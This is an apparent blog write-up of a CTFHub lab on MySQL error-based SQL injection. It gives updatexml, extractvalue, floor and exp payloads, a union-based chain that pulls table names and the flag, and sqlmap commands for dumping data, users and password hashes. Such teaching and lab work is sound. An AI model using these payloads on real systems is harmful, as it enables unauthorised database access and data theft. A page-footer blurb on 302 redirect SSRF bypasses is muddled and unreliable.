CTFHUB-技能树-Web题-SQL注入-报错注入

技能树-Web题-SQL注入-报错注入

报错注入函数
loor函数
select count(*),(floor(rand(0)*2))x from table group by x;

select查询语句
group by进行分组(相同为一组)
rand()生成0到1的随机数
floor()返回整数
count()对数据整合(类似去重)

产生原因:mysql在执行该语句会建立一个虚拟表,表中有两个字段(一个是分组的值和一个计数的值),当分组已经存在后就会爆错。

参考:http://www.cnblogs.com/sfriend/p/11365999.html
extractvalue函数

限制长度为32位

and extractvalue(1,concat(0x7e,(select user()),0x7e));

该参数接受两个字符串参数,一个xml标记片段和一个xpath表达式,而第二参数要求xpath格式字符串,而我们不是所以报错。

参考:https://www.cnblogs.com/xishaonian/p/6250444.html
updatexml函数

限制长度为32位

and updatexml(1,concat(0x7e,(select user()),0x7e),1)

updatexml(1,2,3)第一个参数是string格式,为xml文档对象的名称,第二个参数为xpath格式的字符串,第三个string格式,替换查找到的符合条件的数据,由于第二个参数要xpath格式的字符串,因为不符合规则所以报错。

参考:http://blog.csdn.net/qq_37873738/article/details/88042610
name_const函数

只可获取数据库的版本信息

exp函数
exp(~(select * from(select user())a))

exp(int)该函数会返回值得x次方结果,当值超过mysql的范围就会爆错,上面payload的意思为:先查询user()的数据取名为a再select * from a将结果集a全部查询出来。

报错函数
报错函数:
floor()
extractvalue()
updatexml()
name_const()
join()
exp()
geometry collection()
polygon()
multipoint()
multlinestring()
multpolygon()
linestring()
参考:http://www.mamicode.com/info-detail-2366760.html
报错注入
判断注入点

输入1 查询到结果

在这里插入图片描述

尝试输入1‘ 出现报错

在这里插入图片描述

输入-1查询到结果

在这里插入图片描述

发现无论输入什么,都只会回显成功或者错误

能报错,说明存在注入点

爆库名

可以根据updatexml的报错注入来获取信息

1 union select 1,updatexml(1,concat(0x7e,(database()),0x7e),1)

updatexml (string, xpath_string, string)
第一个参数:可以输入1,为XML文档对象的名称
第二个参数:xpath_string ,提取多个子节点的文本
第三个参数:可以输入1,替换查找的符合条件的参数

0x7e是一个代表的十六进制,可以用’%’,或者’’来代替

在这里插入图片描述

爆表名
1 union select 1,updatexml(1,concat(0x7e,(select (group_concat(table_name)) from information_schema.tables where table_schema='sqli'),0x7e),1)

在这里插入图片描述

爆列名
1 union select 1,updatexml(1,concat(0x7e,(select  (group_concat(column_name)) from information_schema.columns where  table_name='flag'),0x7e),1)

在这里插入图片描述

爆数据
1 union select 1,updatexml(1,concat(0x7e,(select (group_concat(flag)) from sqli.flag),0x7e),1)

在这里插入图片描述

自动化sqlmap注入
sqlmap注入
查询sqlmap是否存在注入命令
sqlmap.py -u url/?id=1

查询当前用户下的所有数据库
sqlmap.py -u url/?id=1 --dbs

获取数据库的表名
sqlmap.py -u url/?id=1 -D (数据库名) --tables

获取表中的字段名
sqlmap.py -u url/?id=1 -D (数据库名) -T (输入需要查询的表名) --columns

获取字段的内容
sqlmap.py -u url/?id=1 -D (数据库名) -T (输入需要查询的表名) -C (表内的字段名) --dump

查询数据库的所有用户
sqlmap.py -u url/?id=1 --users

查询数据库的所有密码
sqlmap.py -u url/?id=1 --passwords

查询数据库名称
sqlmap.py -u url/?id=1 --current-db
sqlmap各种注入技术

布尔类型的盲注,根据返回的页面的是或否,来判断对错的注入

时间类型的盲注,无法根据页面返还的信息判断任何信息,利用线程返还sleep(x)的时间,来判断对错的注入

联合查询注入,使用union联合注入

报错注入,根据页面返还错误信息进行注入

  • 14
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
CTFHubWeb技能树中,302跳转是一种常见的技术。根据引用\[1\],302跳转继承了HTTP 1.0中302的实现,即无论原请求是GET还是POST,都可以自动进行重定向。而根据引用\[2\],在使用curl命令进行下载时,可以通过参数-C -实现断点续传,即在下载过程中按Ctrl + C停止下载,下次可以接着上次的进度继续下载。这样可以节省时间,避免重复下载已经下载过的部分。 在某些情况下,302跳转可能会受到黑名单的限制。根据引用\[3\],黑名单可能限制了特定的网段,如127、172、10、192网段。然而,可以通过使用localhost的方式绕过这些限制。例如,将http://127.0.0.1/flag.php转换为短网址,并构造Payload发送请求,利用302跳转可以获取到flag。 总结来说,302跳转是一种常见的Web技术,可以用于重定向请求。在CTFHubWeb技能树中,了解如何使用302跳转以及如何绕过黑名单限制是很重要的。 #### 引用[.reference_title] - *1* *2* [2.CTFhub技能树 web前置技能 http协议 302跳转](https://blog.csdn.net/FFFFFFMVPhat/article/details/121342556)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [CTFHub技能树 Web-SSRF 302跳转 Bypass](https://blog.csdn.net/weixin_44037296/article/details/118482943)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

python炒粉

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值